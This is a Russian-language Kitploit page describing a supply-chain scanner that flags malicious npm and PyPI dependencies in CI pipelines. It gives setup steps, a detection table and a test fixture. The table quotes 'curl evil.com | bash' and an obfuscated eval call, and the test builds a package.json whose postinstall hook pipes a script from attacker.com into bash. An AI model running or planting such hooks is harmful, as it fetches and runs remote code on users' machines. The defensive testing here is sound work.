ci-supplychain-guard — Инструмент статического анализа, который обнаруживает вредоносные зависимости в CI/CD-пайплайнах с помощью сопоставления шаблонов и анализа AST, используя систему оценки рисков по принципу светофора и необязательную верификацию в Docker-песочнице. | Kitploit

CI Supply Chain Guard

Инструмент статического анализа для выявления вредоносных зависимостей в CI/CD пайплайнах до их слияния с вашей кодовой базой.

Автор: Otsmane Ahmed
Статус: Исследовательский прототип v1.0

Быстрый старт

# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt


```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

Инструмент выводит вердикт: SAFE, или .

SUSPICIOUS

BLOCKED

# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

Тип атаки	Пример	Статус
Внедрение команд оболочки	`curl evil.com \| bash`	Обнаружено
Кража учетных данных	Чтение `process.env` и отправка на внешний сервер	Обнаружено
Обфускация кода	`eval(atob('base64...'))`	Обнаружено
Вредоносные скрипты установки	Хуки `postinstall` NPM	Обнаружено
Бинарные файлы	`.exe`, `.dll` в пакетах	Обнаружено
Тайпсквоттинг	Имена, схожие с популярными пакетами	Требуется ручная проверка

# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

Экосистема	Протестировано пакетов	Уровень обнаружения
NPM	15 059	89.6%
PyPI	2 257	82.2%

ci-supplychain-guard

Популярное

Примеры использования

Сканирование пакета перед установкой

Сканирование установленных зависимостей

Интеграция с CI/CD

Понимание вывода

Безопасный пакет

Заблокированный пакет

Подозрительный пакет

Возможности обнаружения

Тестирование инструмента

Производительность

Часто задаваемые вопросы

Требования

Как это работает

Вклад

Лицензия

Контакты